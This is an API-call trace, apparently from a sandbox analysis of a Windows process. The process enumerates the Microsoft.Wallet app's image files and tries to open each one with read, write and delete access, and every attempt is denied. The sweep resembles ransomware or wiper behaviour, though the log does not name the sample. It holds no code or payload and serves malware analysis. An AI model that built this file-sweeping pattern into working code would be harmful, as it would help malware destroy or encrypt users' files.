	[0091.100] wcscat (in: _Dest=0x481ba08, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\"
	[0091.100] wcscat (in: _Dest=0x481ba08, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\*"
	[0091.100] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502d080
	[0091.100] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\*", lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa819cbaf, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0d716f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa820f2c9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b0e8
	[0091.102] wcscmp (_String1=".", _String2=".") returned 0
	[0091.102] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa819cbaf, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0d716f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa820f2c9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.102] wcscmp (_String1="..", _String2=".") returned 1
	[0091.102] wcscmp (_String1="..", _String2="..") returned 0
	[0091.102] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa819cbaf, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa819cbaf, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa819cbaf, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WalletLockScreenLogo.scale-200.png", cAlternateFileName="")) returned 1
	[0091.102] wcscmp (_String1="WalletLockScreenLogo.scale-200.png", _String2=".") returned 1
	[0091.102] wcscmp (_String1="WalletLockScreenLogo.scale-200.png", _String2="..") returned 1
	[0091.102] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x491cc90
	[0091.102] wcscpy (in: _Dest=0x491cc90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images"
	[0091.102] wcscat (in: _Dest=0x491cc90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\"
	[0091.102] wcscat (in: _Dest=0x491cc90, _Source="WalletLockScreenLogo.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletLockScreenLogo.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletLockScreenLogo.scale-200.png"
	[0091.103] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletLockScreenLogo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\walletlockscreenlogo.scale-200.png")) returned 0x20
	[0091.104] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletLockScreenLogo.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.104] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletLockScreenLogo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\walletlockscreenlogo.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.104] GetLastError () returned 0x5
	[0091.104] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletLockScreenLogo.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.105] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491cc90) returned 1
	[0091.105] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81c2e08, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa81c2e08, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa81c2e08, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="WalletSplashScreen.png", cAlternateFileName="")) returned 1
	[0091.105] wcscmp (_String1="WalletSplashScreen.png", _String2=".") returned 1
	[0091.105] wcscmp (_String1="WalletSplashScreen.png", _String2="..") returned 1
	[0091.105] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x477eb90
	[0091.105] wcscpy (in: _Dest=0x477eb90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images"
	[0091.105] wcscat (in: _Dest=0x477eb90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\"
	[0091.105] wcscat (in: _Dest=0x477eb90, _Source="WalletSplashScreen.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletSplashScreen.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletSplashScreen.png"
	[0091.105] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletSplashScreen.png" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\walletsplashscreen.png")) returned 0x20
	[0091.105] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletSplashScreen.png", dwFileAttributes=0x20) returned 0
	[0091.105] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletSplashScreen.png" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\walletsplashscreen.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.105] GetLastError () returned 0x5
	[0091.105] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletSplashScreen.png", dwFileAttributes=0x20) returned 0
	[0091.105] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477eb90) returned 1
	[0091.105] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81c2e08, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa81c2e08, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa81c2e08, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="WalletSquare150x150Logo.scale-200.png", cAlternateFileName="")) returned 1
	[0091.105] wcscmp (_String1="WalletSquare150x150Logo.scale-200.png", _String2=".") returned 1
	[0091.105] wcscmp (_String1="WalletSquare150x150Logo.scale-200.png", _String2="..") returned 1
	[0091.105] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4776e60
	[0091.106] wcscpy (in: _Dest=0x4776e60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images"
	[0091.106] wcscat (in: _Dest=0x4776e60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\"
	[0091.106] wcscat (in: _Dest=0x4776e60, _Source="WalletSquare150x150Logo.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletSquare150x150Logo.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletSquare150x150Logo.scale-200.png"
	[0091.106] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletSquare150x150Logo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\walletsquare150x150logo.scale-200.png")) returned 0x20
	[0091.107] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletSquare150x150Logo.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.107] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletSquare150x150Logo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\walletsquare150x150logo.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.108] GetLastError () returned 0x5
	[0091.108] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletSquare150x150Logo.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.108] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776e60) returned 1
	[0091.108] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81c2e08, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa81e9066, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa81e9066, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WalletSquare44x44Logo.scale-200.png", cAlternateFileName="")) returned 1
	[0091.108] wcscmp (_String1="WalletSquare44x44Logo.scale-200.png", _String2=".") returned 1
	[0091.108] wcscmp (_String1="WalletSquare44x44Logo.scale-200.png", _String2="..") returned 1
	[0091.108] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x491b648
	[0091.108] wcscpy (in: _Dest=0x491b648, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images"
	[0091.108] wcscat (in: _Dest=0x491b648, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\"
	[0091.108] wcscat (in: _Dest=0x491b648, _Source="WalletSquare44x44Logo.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletSquare44x44Logo.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletSquare44x44Logo.scale-200.png"
	[0091.108] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletSquare44x44Logo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\walletsquare44x44logo.scale-200.png")) returned 0x20
	[0091.108] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletSquare44x44Logo.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.108] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletSquare44x44Logo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\walletsquare44x44logo.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.108] GetLastError () returned 0x5
	[0091.108] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletSquare44x44Logo.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.108] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b648) returned 1
	[0091.108] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81e9066, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa81e9066, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa81e9066, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="WalletSquare44x44Logo.targetsize-24_altform-unplated.png", cAlternateFileName="")) returned 1
	[0091.109] wcscmp (_String1="WalletSquare44x44Logo.targetsize-24_altform-unplated.png", _String2=".") returned 1
	[0091.109] wcscmp (_String1="WalletSquare44x44Logo.targetsize-24_altform-unplated.png", _String2="..") returned 1
	[0091.109] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x4782d68
	[0091.109] wcscpy (in: _Dest=0x4782d68, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images"
	[0091.109] wcscat (in: _Dest=0x4782d68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\"
	[0091.109] wcscat (in: _Dest=0x4782d68, _Source="WalletSquare44x44Logo.targetsize-24_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletSquare44x44Logo.targetsize-24_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletSquare44x44Logo.targetsize-24_altform-unplated.png"
	[0091.111] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletSquare44x44Logo.targetsize-24_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\walletsquare44x44logo.targetsize-24_altform-unplated.png")) returned 0x20
	[0091.111] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletSquare44x44Logo.targetsize-24_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0091.111] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletSquare44x44Logo.targetsize-24_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\walletsquare44x44logo.targetsize-24_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.111] GetLastError () returned 0x5
	[0091.111] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletSquare44x44Logo.targetsize-24_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0091.111] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4782d68) returned 1
	[0091.112] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81e9066, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa81e9066, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa81e9066, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="WalletStoreLogo.png", cAlternateFileName="")) returned 1
	[0091.112] wcscmp (_String1="WalletStoreLogo.png", _String2=".") returned 1
	[0091.112] wcscmp (_String1="WalletStoreLogo.png", _String2="..") returned 1
	[0091.112] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2e12c68
	[0091.112] wcscpy (in: _Dest=0x2e12c68, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images"
	[0091.112] wcscat (in: _Dest=0x2e12c68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\"
	[0091.112] wcscat (in: _Dest=0x2e12c68, _Source="WalletStoreLogo.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletStoreLogo.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletStoreLogo.png"
	[0091.112] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletStoreLogo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\walletstorelogo.png")) returned 0x20
	[0091.112] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletStoreLogo.png", dwFileAttributes=0x20) returned 0
	[0091.112] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletStoreLogo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\walletstorelogo.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.112] GetLastError () returned 0x5
	[0091.112] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletStoreLogo.png", dwFileAttributes=0x20) returned 0
	[0091.112] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12c68) returned 1
	[0091.112] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa820f2c9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa820f2c9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa820f2c9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="WalletWide310x150Logo.scale-200.png", cAlternateFileName="")) returned 1
	[0091.112] wcscmp (_String1="WalletWide310x150Logo.scale-200.png", _String2=".") returned 1
	[0091.112] wcscmp (_String1="WalletWide310x150Logo.scale-200.png", _String2="..") returned 1
	[0091.112] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x491bb20
	[0091.112] wcscpy (in: _Dest=0x491bb20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images"
	[0091.112] wcscat (in: _Dest=0x491bb20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\"
	[0091.112] wcscat (in: _Dest=0x491bb20, _Source="WalletWide310x150Logo.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletWide310x150Logo.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletWide310x150Logo.scale-200.png"
	[0091.113] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletWide310x150Logo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\walletwide310x150logo.scale-200.png")) returned 0x20
	[0091.113] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletWide310x150Logo.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.113] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletWide310x150Logo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\walletwide310x150logo.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.113] GetLastError () returned 0x5
	[0091.113] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\images\\WalletWide310x150Logo.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.113] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491bb20) returned 1
	[0091.113] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa820f2c9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa820f2c9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa820f2c9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="WalletWide310x150Logo.scale-200.png", cAlternateFileName="")) returned 0
	[0091.113] FindClose (in: hFindFile=0x477b0e8 | out: hFindFile=0x477b0e8) returned 1
	[0091.114] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502d080) returned 1
	[0091.114] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ba08) returned 1
	[0091.114] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61580) returned 1
	[0091.114] FindNextFileW (in: hFindFile=0x46a72d0, lpFindFileData=0x470f4b8 | out: lpFindFileData=0x470f4b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa820f2c9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa820f2c9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa820f2c9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x70, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="")) returned 1
	[0091.114] wcscmp (_String1="index.html", _String2=".") returned 1
	[0091.114] wcscmp (_String1="index.html", _String2="..") returned 1
